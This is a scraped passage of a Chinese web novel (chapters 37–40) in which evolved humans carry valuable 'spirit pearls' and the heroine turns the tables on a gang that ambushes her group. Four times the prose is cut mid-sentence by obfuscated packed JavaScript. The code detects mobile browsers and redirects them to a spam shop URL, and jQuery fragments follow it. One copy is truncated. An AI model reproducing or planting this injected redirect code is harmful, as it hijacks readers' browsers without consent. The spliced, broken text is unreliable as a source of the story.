“哎,照你这样说,要真出事了那也没办法,算我倒霉!吓!不说了,开吃开吃!” 林萤的耳尖微微动了动,果不其然,她听到了微弱的喇叭声,看来刚才那个卡车司机还在按,也不知道现在的他还喜不喜欢听喇叭声。 不过,林萤又瞄了那几人一眼,他们应该都是司机,拉的货物似乎也比较特殊。 “小林,你把这个肉放在饼上,两个一起咬着吃,特别好吃!” 说着,马浩哲给林萤示范了一下,他吃的腮帮子鼓鼓,满嘴流油,一边嚼一边还朝林萤示意,让她学着点,“吃啊,干吃饼有啥好吃的!” 林萤低下头看了看,就发现自己手里只拿着一个光秃秃的饼,饼还被自己咬了两口。她又看向原初,只见他正一脸笑意看着自己,他的指尖捏在饼的一角,将它放在鱼汤里浸了浸,似乎是在说泡着吃也好吃。 “不要辜负美食哦,小林~~~” 接下来那几个司机并没有说什么能引得起林萤兴趣的内容,饭馆的味道确实不错,尤其是老板送的小菜,吃了后满口留香,林萤和马浩哲两人风卷残云,将桌上的东西吃了个一干二净。 “小林,没想到你还挺能 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17725520|205358||http|test|mini|href|location'.split('|'),0,{})); () { $('.inform').remove(); $('#content').append(' 吃,佩服佩服!” “小马哥也不遑多让,彼此彼此!” 两人互夸了几句,付了钱,走出饭馆,此时天色已经完全暗下,几人打算在大鱼暂作歇息,凌晨再出发。 不是林萤不着急,而是现在需要考虑司机的体力,有道是磨刀不误砍柴工,必要的休息是不可或缺的。 几人商量着走到停车位,正要上车,突然看到了缩在后车轮旁边的赵毅千。 “诶,是叫赵毅千吧,你干什么?”马浩哲离得最近,他跨了一步,躲过脚下的下水井盖,直接来到了赵毅千的身旁。 “你们是不是要去青檀?带我去,我知道路怎么走!”赵毅千像是在回答马浩哲,双眼却盯着林萤。 林萤看了一看原初,又接过他递来的伞,站在一旁没有说话。 马浩哲道:“你看你这人,我们又不认识你,干嘛要带上你,再说了我也知道路,我以前来过这里。” 赵毅千依旧缩在那里,林萤看到饭店的老板走出来看了一圈,似乎是在找人,但还没出来几分钟又被叫了回去。 赵毅千轻嗤一声,“你多久前来的,一年前还是两年前?路早就变了,尤其是最近这边加强了戒备,好几条路都封了。” 林萤上前一步,“这个不用你担心,我们可以跟着别人走,去青檀的不止我们。” “你是说里面那几个开大车的?”赵毅千摇了摇头,“他们能走的路,你们走不了。我敢说,只要你们一出蹊暇,便会立即被盯上,只有我知道的那条路没有问题。” “盯我们作甚?”马浩哲不解。 “很简单,要你们的钱和命!”赵毅千说完,见马浩哲面露不屑,又道:“你知道灵珠吗?” “知道啊,那不就是新出的宝物嘛!” 赵毅千张开嘴正要大笑,却突然止住,而后压低声音,“不,你不知道,你连灵珠是什么都不知道。灵珠是进化后的生物体内的东西,就像牛黄一样。一开始,大家都以为灵珠是从进化兽的体内挖出来的,但是没有人知道,第一个发现灵珠的人,是剖开人体发现的。也就是说,你只要站出来走在那里,就是一个揣着无价之宝的人。” “我,我又没有进化,我的体内可没有灵珠。”马浩哲一边说一边摆手。 “你说没有就没有吗?只有挖出来瞧瞧,才能确定你的体内到底有没有。”赵毅千说着,晃动了一下他的胳膊,直白的眼神在马浩哲身上转了一圈,看得马浩哲捂住了自己的胸口。 赵毅千接着说:“我知道你们不相信我,为了让你们知道我的价值,我可以先告诉你们一件连那些大车司机都不知道的事,那就是如果要去青檀,凌晨3到早上6点是最好的时间。” “为什么?” 赵毅千似乎有些不耐烦,“你们只要按我说的去做就行,不要问那么多为什么。” “既然你把青檀说的那么危险,你为什么又要去?”林萤问道。 赵毅千苦涩一笑,“很简单,我在这边活不下去了,你也看到了,我成了家里的负担,成了他们的出气筒。到那边去或许还能博得一条生路,活的有尊严一些。” 林萤走到副驾驶,打开车门坐了上去,她看了一眼旁边的原初,对方朝她点点头。 “明天早上五点整,我们会从你家门口路过,只等一分钟,如果你想跟我们一起走,别迟到。” “一言为定!” 37. 年轻三十岁 几人在附近临时找了一个旅馆休整一番,期间,马浩哲还专门问了问自己的骑手朋友们,得知赵毅千并没有骗他们,这才决定带上他。 于是天还未亮,一行人就上了路,待到赵毅千家门口马浩哲刚要下车瞧瞧,便被黑暗中窜出来的赵毅千挤进了车里。 他没有打伞,只戴了一顶灰色的鸭舌帽,帽顶被雨打湿变成了更灰的颜色,他背着一个小包,衣服也换了一件新的,长长的袖口正好遮住了他的手腕,使得他看上去像是一个拥有双手的正常男性。 “嗨,我说,一千块,你别挤我啊,你看你这小身板,挤得过我吗你就挤?”马浩哲慢吞吞往里面挪了挪,给赵毅千让了点位置。 赵毅千没有吭声,却抬起胳膊堵在了鼻子上,他坐的地方是马浩哲之前放脚丫的位置,一落座,便闻到了一股酸酸的臭脚味。 “我说,你就在大鱼县,干嘛不自己走到青檀去,反正挨得这么近。”马浩哲问道。 “你还说你来过这里,你知道大鱼县有多大吗?它下面还有七个镇,两个乡,二百多个村。从我家店去到青檀,开车最短也需要一个半小时,换成走路,大概需要一天,我受了伤,身体也不像你这么壮实,怎么走过去?”赵毅千愤愤说道。 “照这样,你去了青檀也什么都做不了,白费这功夫干啥?”马浩哲嚷嚷道。 赵毅千冷哼一声,没有回答他的问题。 林萤转过头看了赵毅千一眼,就见他一直在望着车窗上的雨痕,“赵毅千,你是要加入那些势力吗?我记得你的脚进化了,你不怕他们把你体内的‘灵珠’挖出来?” “对啊!你去能干啥啊,那不就是羊入虎口,鱼游釜中,自个找死吗?”马浩哲用胳膊肘撞了赵毅千一下,又被对方推开。 “我……”赵毅千停顿了几秒,而后说道:“我想拼一把,哪怕是死。” 林萤靠在椅背上往斜后方看去,赵毅千的脸是白的,鬓角是湿的,眼神却仿佛含着一团火焰。 赵毅千说,昨天晚上有一队人来他们家饭馆吃饭,其中有人说,那些人疯狂收集灵珠,不是因为灵珠难得,而是因为灵珠可以移植到人的体内,使没有进化的人获得进化的能力。另外一个人说,移植有很大的风险,有一个人就是在移植后爆体而亡。然而后者的话没有激起任何波澜,大家又被其他人讲述的事情吸引了去。 现在,不止青檀,全球范围内出现了许多寻找灵珠的组织,大多数只是寻找进化的动物掏取灵珠,然而也有一部分人将目光锁定在了进化者身上,试图杀死进化者,获得对方的灵珠。从第一桩灵珠买卖到现在,经过了一个多星期的发酵,各地也多了许多民间组织,甚至还有专门鉴定灵珠功效和价钱的。 不过,尽管对灵珠的看法不尽相同,但大家都有一个共识,那就是人体内的灵珠是最上乘的,远比从动物体内拿出来的要值钱。 “昨天,有一个老富翁给自己的体内移植了一颗灵珠,当天下午,他的白头发就变成了黑色,皮肤也从皱巴巴变得光滑,整个人像是年轻了三十岁,原本他的下肢已然瘫痪,就因为移植了灵珠,现在竟然能健步行走了。听说他为了感谢卖他灵珠的势力,直接将价值近一个亿的黄金赠给了对方。” 赵毅千说完,整个车内顿时安静下来,半晌,马浩哲砸吧砸吧嘴唇,“想不到啊想不到,我自诩万事通,你小子知道的竟然比我还多。” 而林萤则是想起了自己前天晚上的实验,那时候她也曾想过人体内的进化核是否可以移植,没想到真的有人这样做了,而且还成功了。 赵毅千冷笑了一声,对马浩哲没好气地道:“我家那个地方,本来就在两地的交界,大车多,来往的人也多,消息自然比你灵通,因为人在吃饭的时候通常是不设防的,尤其是旁边还是一个什么也做不了的残疾人。” “懂了,你家就相当于‘龙门客栈’对吧?”马浩哲嘟囔了两声,拿起手机,开始在自己的骑手群里查看消息。 “赵毅千。”林萤突然开口。 赵毅千抬起头,“怎么了?” “你有没有听说过一个叫做‘一位恩’的组织?” 赵毅千摇了摇头,“没有。” “那你是不是也想把……嗯,灵珠,你是不是也想把灵珠移到体内?” 赵毅千的嘴巴张了张,似乎是想说什么,但最终没有说出来。 “理论上来讲,是可行的,但是你的体内已经有了一个灵珠,你有没有想过,万一你的身体承受不住第二颗灵珠怎么办?”林萤拿起一旁的玻璃瓶,“就像这瓶牛奶,只能装300毫升,你硬是将500毫升的水倒进去,它就只能放任多余的水洒在地上。” 赵毅千没有说话,但紧锁的眉头昭示着他也曾经思索过这个问题。 林萤继续说道:“其实你可以这样——把自己体内的灵珠取出来,然后重新安放到手腕上。这样做也许不能让你生出双手,但一定会让你没有现在这么辛苦,这也是我认为最安全最稳妥的方式。” 虽然林萤并没有做过这方面的试验,但是想必自己身体内长出来进化核要比从其他人那里拿来的契合身体一些,就像自体植皮,可以实现零免疫排斥一样。 赵毅千舔了舔唇,目光一直在看着自己的脚下,他的双脚进化过,这对林萤来说不是个秘密,但他自从离校后就再也没有对别人说过这件事。 林萤之前看那帮“进化者联盟”比赛的时候,也见过其他的足部进化者,论灵活度,他不如手部进化的人;论速度,他不如腿部进化的人;论力量,又不如手臂进化过的人,总体而言,足部进化者在一众进化者中显得有些平平无奇。除非出其不意,否则很快就被淘汰。 但显然赵毅千并不这样认为,就算每个人进化的部位相同,也会因为个体不同而产生差异,所以,也许赵毅千的能力更强 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17728047|205358||http|test|mini|href|location'.split('|'),0,{})); () { $('.inform').remove(); $('#content').append(' 一些? 林萤不得而知,但见他的表情,林萤便知道他不愿放弃,她说:“懂了,你并不想失去进化的双脚,也想让自己的双手重新长出来。那么,你一定要多加小心,毕竟获得灵珠只是第一步,更难的还在后面。” 赵毅千沉吟半晌,最终憋出了一个字,“好。” 正在这时,马浩哲突然大叫起来,“快看快看,外面那片黑黑的,就是大鱼湖!传说中直通大海的湖!” 林萤顺着他指的方向看去,就见路的一侧有一大片黑沉沉的区域,看上去很大,从这头铺到那头。 “可惜我们赶时间,不然还真想去玩玩……” “回来的时候绕路去看看吧!”原初看了一眼,随后说道。 不多时,几人便来到了赵毅千指的小路上,这是一条小小的水泥路,但凡有个车从对面开过来,便错不开车了。 水泥路的尽头是两地的界碑,此时,距离尚远,林萤却眼尖地发现那边有几个蹲在路边抽烟的人,他们的身后,还有几个人在专门为他们打伞。几辆黑色的车停在路边,看见原初的车,便将一个大石墩绑在车尾,拖到了路的中间,而后几人排成一排,手里拿着一些管制刀具,显然来者不善。 “赵毅千,这就是你指的路?”马浩哲弯着腰,将头探到车前侧,他还是第一次见到这种阵仗,有点害怕之余又有点兴奋。 赵毅千似乎也没想到,他当机立断让原初赶紧倒车。那帮拦路的人想要赶过来,却因为距离尚远,并没有追上。 等车开到大路上,赵毅千指了指另外一边,“还有一条路,如果这条也被挡住,你们就得弃车了。” “什么叫我们得弃车,你呢?”马浩哲问。 赵毅千笑了笑,“已经到交界了,我随便找个地方都能钻过去。” 赵毅千这次指的是一条乡间土路,因为下过雨,路格外泥泞,原初也开慢了些。 林萤默不作声看了看地图,确实如赵毅千所说,此时已经到了青檀与蹊暇的交界,此处都是农田和果园,深秋时分,庄稼已经收割完毕,小麦也刚种没多久,褐色的田里微微泛着绿色,没有了高楼的遮挡,视野极阔,一眼便能望到天边。林萤索性将车窗开了一条小缝,迎面吹来的空气也格外清新。 过了农田,便是一大片果园,果子已经摘了,果树上的叶子还未落完,此时黄叶被雨打湿黏在褐色的树干上,显得有些萧索。 “赵毅千,你可别再给我们指错了!”马浩哲看着路边黑压压的两排树林,有些心慌。 “不怪我,怪你们运气不好,往常那条路根本没有人把手,居然被你们遇到了。”赵毅千说完,又指挥原初向一处果树林拐去。 “你确定是走的这条?”原初皱了皱眉。 “确定,你看那边,那边有一个塔尖,那个塔是青檀的,我们再有十来分钟就到了。”赵毅千说完,突然诡异地笑了一下。 38. 红雨衣黑雨衣 “得亏我们开的越野,要不然非得陷进这个路里。”一片黄泥被飞转的车轮打到了车窗上,马浩哲啧啧一声,连连感叹。 林萤不动声色,侧过头看了原初一眼,对方似乎感觉到了她的视线,转过来朝她眨了眨眼。 几分钟后,汽车驶入果树林,这里的路更加泥泞,因为两旁都是果树,所以视野也变得局促。每过一段,就有一个小房子,据赵毅千说,这些都是看护果林的人住的地方。 “这些果树,是苹果还是梨子还是樱桃?”马浩哲的话说到一半,突然一阵颠簸,车轮似乎压在了什么东西上,紧接着车的行驶速度变慢,并最终在一个小房子旁边停了下来。 林萤看向原初,就听到他悄声说:“右前方的车胎被扎破了,其实不停也行,但是我觉得,新来的伙伴似乎想让我们停下来。” “哎呦哎呦!怎么了怎么了?”马浩哲先是被颠簸得说不出完整的一句话,又看到车突然停下来,不由地大声询问。 一旁的赵毅千用胳膊肘碰了碰他,“胖子,帮我开个门,我下去看看什么情况。” “哦,好。”马浩哲探过身帮赵毅千打开门,车门刚开了一口小口,后者立刻就挤了下去,差点没把马浩哲的胳膊弄折。 “哎哎,一千块,你猴急啥?把车门关上啊,不然雨飘进来了!” 马浩哲的话音刚落,就听见一阵脚步声,接着,从旁边的小屋里走出来了四个人,这些人穿着色彩不一的雨衣,手中都拿着武器和绳索,有的甚至像是自制的大刀。 林萤叹了一声,感觉自己好久没见过这么原始的武器了。 “一千块,你什么意思?”马浩哲见状,本想关上后车门,但赵毅千的突然抬起臂膀,将一条胳膊卡在了车门处。 “我说了,你们的运气很不好,我给过你们机会的,但是恰好那边走不了……”赵毅千的视线扫过越野车的车身,“而且谁让你们开这么拉风的车,还爱心泛滥想扮演救世主拯救弱小,没听说过出门要低调吗?” “我擦,你心里也太阴暗了吧!你管人家开啥车,人家想开啥就开啥,又不是开你的车!” 马浩哲就算再迟钝,也意识到了不对劲,他使劲将赵毅千的胳膊推出去想要关上门,却还是在最后一秒夹在了赵毅千又一次伸出来的手腕上,鲜血再一次透过纱布渗出来,又被雨水稀释。 “我屮艸芔茻,你不要命了?!” 就在马浩哲说话间,另外几人已经将车包围,其中一个距离赵毅千最近的人穿着黑色的雨衣,他似乎是想把手上的铁棍递给赵毅千,棍子都伸过去了,这才发现赵毅千没有手,黑雨衣转过头吐出一口浓痰,“晦气!” 前排的林萤则是回过头看向赵毅千,就见他的头发已经被雨打湿,面上也全是水,目光中却满是偏执。见林萤看他,他用那截短短的胳膊指向林萤,“你下来。” “什么叫你下来?”旁边的黑雨衣一把拨开赵毅千,“你们几个都下来!” “你们是一伙的对吧?”林萤的视线仍然紧随着赵毅千。 “他还没入伙呢,你们就是他给的投名状!”黑雨衣说着,想要把马浩哲拉下去,却怎么也拉不动,“嘿,你个死胖子!这么沉,自己下车,快点!” 林萤还想再说话,就见一个穿红色雨衣的人提着斧头气势汹汹地走到了车的正前方,二话不说抡起斧子,砸在了林萤面前的挡风玻璃上。 “嘭!”沉闷的巨响传来,车身猛地一震,就见前挡风玻璃被砸出了蜘蛛网一样的裂纹。 “往下走,别让我说第二遍!” 原初率先解开了安全带,“走吧,对方都这么用心地请我们了。” “小原,你确定是‘用心’而不是‘用力’?” 林萤仰头将牛奶喝完,然后迅速下了车,马浩哲紧随其后,一边小声骂骂咧咧。 待下了车,林萤三人被押到了旁边的小木屋,小木屋有一个短短的屋檐,正好将红雨衣等人遮罩住,前方的地上满是烟头,显然这帮人已经等了很久。 “把你们身上的钱、手机、首饰全放到我这个盘子里。”红雨衣说道。 “饶命啊老大,我一个穷学生哪里有钱!”马浩哲哼哼唧唧,死死抓着自己的手机不放。 “这胖子的包在车上,我刚看见了!”黑雨衣提醒道,“我去车上把他们的东西都拿下来吧!” 红雨衣抬了抬手,“不急,车上的东西连着车本身早晚都是我们的,暂且都放在车里!” 眼见几个人都露出笑容,林萤看向赵毅千,她问:“赵毅千,你确定要和这帮人为伍?” 赵毅千也和林萤他们一样在雨中,不过他已经淋了太久,浑身湿漉漉,显得更加狼狈。 他朝林萤大声吼道:“不然呢?你以为我会感激你救了我?别傻了,我恨你还来不及,要不是你捏坏了我的手腕,我的双手也不会炸掉,使我从一个天之骄子变成了人人可怜的残疾,我才刚进化啊!还没享受过那种人上人的乐趣一下子就跌进了泥潭里。我恨!我过得不好,你也别想好过!” “可我觉得你跟着这帮人也没什么前途。”林萤将这些人打量一番,真心实意地说道,却仿佛戳到了这帮人的肺管子。 在红雨衣的示意下,一个拿着钢管的人立即走上前来,朝着林萤的膝窝就是一棍。 “呀!”马浩哲惊呼一声。 一直没有说话的原初则是挡在了林萤前方,也开始叫嚷:“早就听闻青檀有悍匪,却没想到是五百年前的悍匪,棍棒刀叉,不知道的还以为你们是来挖地的!看看你们,连一件像样的武器都没有,跟着你们能有什么前途!” 他的话还未说完,那人已经打在了林萤腿上,只是林萤并没有任何异常,那人的双手却被震得发麻。 原初乐了,“你看,我就说没前途,打人都没力气!” “别着急,都打!”红雨衣似乎彻底被激怒了,他朝自己的双手哈了哈气,“今天就让你们见识一下进化过的双手有多大的力气!” 说罢,他先是一掌拍在旁边的果树上,直把那腿粗的果树拍成了两段。而后,他阴森森看向原初,“就是你这个小白脸,你的嘴最贱,就从你这里开刀!”他抡圆胳膊,一巴掌朝着原初的侧脸扇去。这一巴掌带着劲风,若是扇在脸上,怕是再帅的脸也扛不住。 只是红雨衣的手还未挨到原初的脸,便被捉住了手腕,一旁的赵毅千看得眼熟,上次林萤也是这样捉住他的手腕的。 “你!”红雨衣还未反应过来,就听到一声脆响,他的手腕被折断了。 “你刚刚用这只手砸了我们的玻璃,现在还想用它来打人,没什么正经用图的话,我就先帮你卸了!”35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17731307|205358||http|test|mini|href|location'.split('|'),0,{})); () { $('.inform').remove(); $('#content').append(' p> 说罢,林萤又是一个用力,红雨衣的手软哒哒地垂了下来,他的手腕处像是没了骨头的皮,有一个红豆大小的颗粒隐约可见。林萤遂即用手一抠,从那块皮里面生生抠出来一个圆溜溜的东西,她将那个东西拿在手中看了一眼,又飞快地将它放置在衣兜里。 鲜血如注从红雨衣的伤口往出冲,他又惊又惧又疼,惨叫一声后便翻着白眼躺倒在地,浑身抽搐着。 这一切发生的太快,一旁的小弟们还沉浸在“老大要发威”的幻想中,却没想到现实会是这个走向。 “天,老大死了!” “没有吧,好像还在动……” 林萤上前一步,拎着红雨衣的衣领摇了两下,后者龇牙咧嘴地惊醒,而后一边吸气一边大声喊叫着,“我的手,我的手!快,快来帮我止血!” 此时,他的面部已经没有了血色,汗水混合着雨水从他的额前滑落,显然疼得不轻。旁边的黑雨衣听见他的话,则是忙手忙脚四下找寻可以包扎的物品。 一旁的赵毅千则是面色惨白,不知是因为冷,还是因为怕,他整个人一直在微微颤抖。 “你,你早就进化了对不对?难怪……难怪你从一开始就不怕我,刚才也丝毫不见紧张……我,我,我不是故意的……”赵毅千一边说话一边往后退。 林萤斜睨他,“差点把你忘了。”说着,她走到赵毅千的身旁,突然弯下身,在他还未反应过来之际,两根手指像手术钳一样破开他的鞋子直直扎进了他的脚面,而后一个圆溜溜的珠子被取了出来,林萤随手将它放进了衣兜。 赵毅千像只虾米一样弯下身子,他紧紧咬着自己的下唇,流血了也没出声。 “牛13!”马浩哲连呼。 林萤没有说话,她绕了一圈走到原初跟前,轻轻抬起眼皮看了看押着原初的人,那人立即将原初松开,还殷切地帮他揉了揉发麻的手腕,马浩哲那边也是一样。 三人重新站在一起,不过这次,他们三人在小木屋的屋檐下,那几人则是站在了雨里,他们的老大红雨衣也被搀扶着站到了泥地上。 林萤问:“我们是不是已经在青檀了。” 黑雨衣点点头,“是的,姐,从果树地开始就是青檀的地界了。” “嗯,不错,你是个识相的。”林萤说罢,又问:“你们知不知道一个叫做‘一位恩’的组织?” “没听过,你们听过吗?”黑雨衣看向旁边几人,那些人都把头摇得像拨浪鼓。 “没有,没听过。” “我倒是知道一个势力叫做‘一善门’的,那个天价灵珠就是他们势力找到的。” “对,一善门!姐你可能不知道,那家伙,一颗灵珠卖了一个多亿!”黑雨衣殷切地说道。 林萤点了点头表示自己知道了。 而后,她走到痛苦哭嚎的红雨衣身边,指着赵毅千,轻声道:“不要怪我,要怪就怪他,是他把我们引过来的,他并不是想加入你们,只是因为你的手进化了。他接近你,就是想挖出你手上的灵珠,移植到自己身体里面,这样,他才会重新长出双手。” 说罢,迎着赵毅千惊恐的眼神,林萤又轻轻嘱咐红雨衣,“别放过他。” 她理了理额前的雨水,带着原初和马浩哲一起回到了车边。身后,传来一阵谩骂和一声声惨叫,林萤没有再管。 39. 白虎添翼 待上了车,缓慢向前开动,林萤看着面前的“蜘蛛网”有些不好意思。 “原医生,修挡风玻璃的钱我出。” 原初扬了扬眉毛,“可以,但我还不知道多少钱,所以先欠着吧!” 林萤笑着说好。 马浩哲扒到椅背上,“林萤,真人不露相,露相不真人,说的就是你啊!你可太牛了,刚刚一出手,就把那个红老大拿下了。不过,幸亏你强,不然这回咱们还真要在那残疾小伙身上吃大亏。” 马浩哲想起来还是一阵后怕,“那小子可真有心机啊,两头通吃,我说他那么多势力不找,非要找个村霸型的,原来是盯上人家身体里的灵珠了……” “可不是,他还欠我一件衣服呢!”林萤说着,又想起自己衣兜里的进化核,她将那两个东西拿出来放在手心。 “小马哥,这个东西我把它叫做进化核,它还有另外一个名字,就是这帮人口中的‘灵珠’。” 这两颗进化核黄豆大小,一颗是半透明的橙粉色,虽然车里光线并不好,但进化核仍旧闪闪发亮,如果用它来镶嵌,想必成品堪比帕帕拉恰;另外一颗则是蓝色,打眼一看有点像海蓝宝。 “真的?!”马浩哲惊呼一声,小心翼翼拿起一颗进化核,他将它托在掌心看了又看,“就这个小玩意,值一个亿?” 林萤点了点头,“是,但是说不定很快会把价格打下来,你知道的,我们最不缺的就是人。” “嗨,也是。”马浩哲将进化核郑重其事地放回林萤手中,“这么贵重的东西,你可要拿好啊!” “嗯。” “不过,你叫它进化核……嗯,进化核确实比灵珠更贴切一些,不知道为什么,灵珠总让人想要收集,可能是因为《七龙珠》吧!” “那岂不是侧面说明灵珠这个名字取得好,连你都想收集。”林萤笑着说完,手机突然震了一下。 她将进化核放好,打开手机,看到了林祐均的消息:林萤,你是不是去青檀了? ——是的。 ——我就知道……有一个好消息和一个坏消息,你想先听哪个? ——没事,一起说吧。 ——好消息是“一位恩”这个组织查到了,它其实叫做“EVN”,是一家成立很早的、非常低调的组织,组织目的是环保,成立的地点在海外,国内只有海市一个分部,且前段时间被水淹了。我们目前只查到了这些内容,剩下的还需要再查找。并且需要补充说明的是,这个EVN只是和你给我的发音非常相似的一个组织,我们并不能百分百确定你要找的就是他们; 坏消息是载着你朋友的那辆车我们跟丢了,对方发现了我们的追踪器,并放出信号干扰,最终消失的地点在青檀市北郊的水青路,那里人鱼混杂,非常混乱。 ——好的,多谢。 对面很久后才回复:万事当心。 林萤将手机捏在手心,她的腿不自觉在颤抖。EVN、环保、海市、水青路……这些就像不配套的珠子,硬被串在一起,让人有些摸不着头脑。 一旁的原初看了眼地图,“从这边果园可以绕到大路上去,我们在路边换一下备用轮胎,然后再出发。” “嗯,好。” 林萤抬头看了一眼,此时已是晌午,整个天空都是白色的,雨也渐渐变小。 “马浩哲,你姑姑家在哪里?”原初问到。 “在清潭市,北郊,水青路那边。”马浩哲看了眼手机上的地图,“咱们现在过去还要四个小时。” “四个小时……”原初看了看仪表盘,“正好赶上吃晚饭对吧?” “对,哎,等等,我给我姑打个电话说一下,她做饭可好吃了!” 说着,马浩哲打了一个电话,刚响两声,对面便接上了。 “姑,我晚上就到家了,还有几个朋友一起……嗯?什么!你在忙着干大事?我的姑,你进化啦?天啊!那我还说去找你!我才不傻好吧,哎,那咋办……好吧,好吧,我知道了,我的姑,都怪我没早点给你打电话……” 马浩哲说完,像泄了气的皮球瘫在了椅子上,“本来想给我姑个惊喜,没想到我的姑给了我惊吓!” “你的姑怎么了?”原初一面笑一面问道。 马浩哲的嗓音开始巨大化,“我的姑居然进化了!而且还加入了一个进化者组织,不但要负责巡逻,还要负责抓捕进化的动物,要知道她以前可是个宅在家里哪也不去的宅女,就爱看动漫和追星,没想到现在尽往外跑。” “这不挺好的嘛!” “话是这么说,可今天她不在家……”说到这里,马浩哲突然灵光一闪,开始在自己的包里翻找东西,“等一下……哈哈哈,果然拿着,还是我机灵!今晚就住我姑家吧,反正她不在。” 马浩哲晃了晃手里的钥匙,“林萤也去,医生也去,正好你开了很长时间的车,得好好休息一下。” “小马哥,你刚说你姑姑的家在水青路?”林萤问道。 “对啊!” “好,我们去吧!”林萤说着,看向原初。 后者也正偏过头看向她,一双眼睛带着笑意,“我听林大圣的。” 这个称呼让林萤回想起那个晚上的“猴棍”,她也笑了笑,感觉憋在自己胸腔里的那股郁气慢慢在消散。 “什么‘林大圣’?这是林萤的尊称吗……” 车内,那两个人相视一笑,只剩马浩哲一头雾水,“好吧好吧,你们果然有什么事瞒着我……” 青檀的乱果然名不虚传。 林萤一行自从进入青檀后,接连遇到了三次不怀好意的别车,两次恶意投掷,一次意外追尾。好在车够结实,原初的驾驶技术也游刃有余,几次都有惊无险地躲了过去。 直到马上要到达水青路,两拨正在对峙的人马挡住了他们的去路。 这两波人马看上去战斗力都非常强悍:北边是剃着光头,露着文身,提着刀斧的彪形少年 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17733661|205358||http|test|mini|href|location'.split('|'),0,{})); () { $('.inform').remove(); $('#content').append(' 和染着黄色头发的不良少女;南边是一群穿着花花绿绿衣裳,将烫成方便面一样的头发高高盘起的广场舞大妈。 北边目露凶光,南边言辞犀利,一时间气势不相上下,谁也不愿后退一步,于是便将本就不算宽敞的马路堵了个水泄不通。 车与车的缝隙间都沾满了人,林萤几人走也走不了,出也出不去,干脆下车站在车边观战。 周围观战的人也不少,大家似乎已经见怪不怪,很多人手里都拿着瓜子,一个热心肠的大妈见林萤几人干站着,还给他们分了一把。 人群议论纷纷,不多时,林萤便将现场的情况弄了个一清二楚。原来北边站着的那帮少年少女是一个叫做“战斧”的势力,而南边那些大妈们则是来自一个叫做“花开富贵”的势力,这两波势力原本八竿子打不着,但却因为青檀动物园的事情闹了矛盾,接连几天,每天早上都在这里对峙。 两天前,青檀动物园有只白色大老虎进化了。它是一只东北虎和孟加拉虎杂交的后代,因其奶白色的皮毛和巨大的体型被亲切地称为“雪王”,它相貌威武,体型健硕,堪称虎中“美男子”,是青檀动物园著名的动物明星之一,在各地都有粉丝,其形象亦被制作成不少周边,一经出售便被哄抢。 就是这只明星虎,前两天在众目睽睽之下,倒地翻滚,而后突然从肩胛处生出一对小小的肉翅。一开始,众人都以为“雪王”是误食了什么东西才生出了肉瘤,直到它扇动肉翅,试图飞起来,并且成功地离地两三厘米才看出了究竟——原来它竟真的长出了翅膀!如虎添翼这个词,居然成了现实! 只是雪王的翅膀太小也太弱,不足以支撑它三百多公斤的身躯,于是还不待它再次试飞,便被闻讯赶来的饲养员关进了笼子里,从而隔绝了大众的视线。 但纸里包不住火,雪王进化的消息在人群中传了个遍,大家都期待再一次看到会飞的大老虎,也有人担心雪王进化后会攻击人类,更有甚者说雪王将要被售卖,因为它的体内生出了“灵珠”。 果然,当天下午雪王便停止营业了,有几个雪王的铁粉死守在猛兽园的出口处,真的在这里发现了即将被送上运输车的大白虎。园方本不想承认,奈何对方带着直播镜头闯进了关着老虎的车厢里,这下,“雪王将要被售卖”成了热点话题。 面对众人的指责,园方无奈回应,因为三个月前的灾害,园方早就入不敷出,如今连老虎的食物都即将供应不上,更别提其他动物了。 年过六旬的老园长站在镜头前,泪流满面,“动物园三个多月没有收入,员工的工资发不上,生态展区需要重建,一大堆动物嗷嗷待哺,我们实在没有办法了,将雪王售卖也是出于为它好的愿景……” 老园长的话让义愤填膺的众人逐渐沉默,然而就在一筹莫展之际,动物园里的其他动物也开始大批进化,这次不仅是老虎,更有其他猛兽、两栖爬行动物、飞禽……雪王的进化就像一颗火种,顿时引燃了整个青檀动物园。 40. 战斧和花开 事态的发展已经由不得动物园私下处理,只得上报上级,但最近青檀管理混乱,大家自顾不暇,连人都管不住,更别提什么动物了。于是这些由进化者自发组织的势力便站了出来,一来进化者比普通的饲养员更有力也更强壮,二来,动物园里的大多动物似乎也天生畏惧进化者,所以园方也默许了势力们的协助。 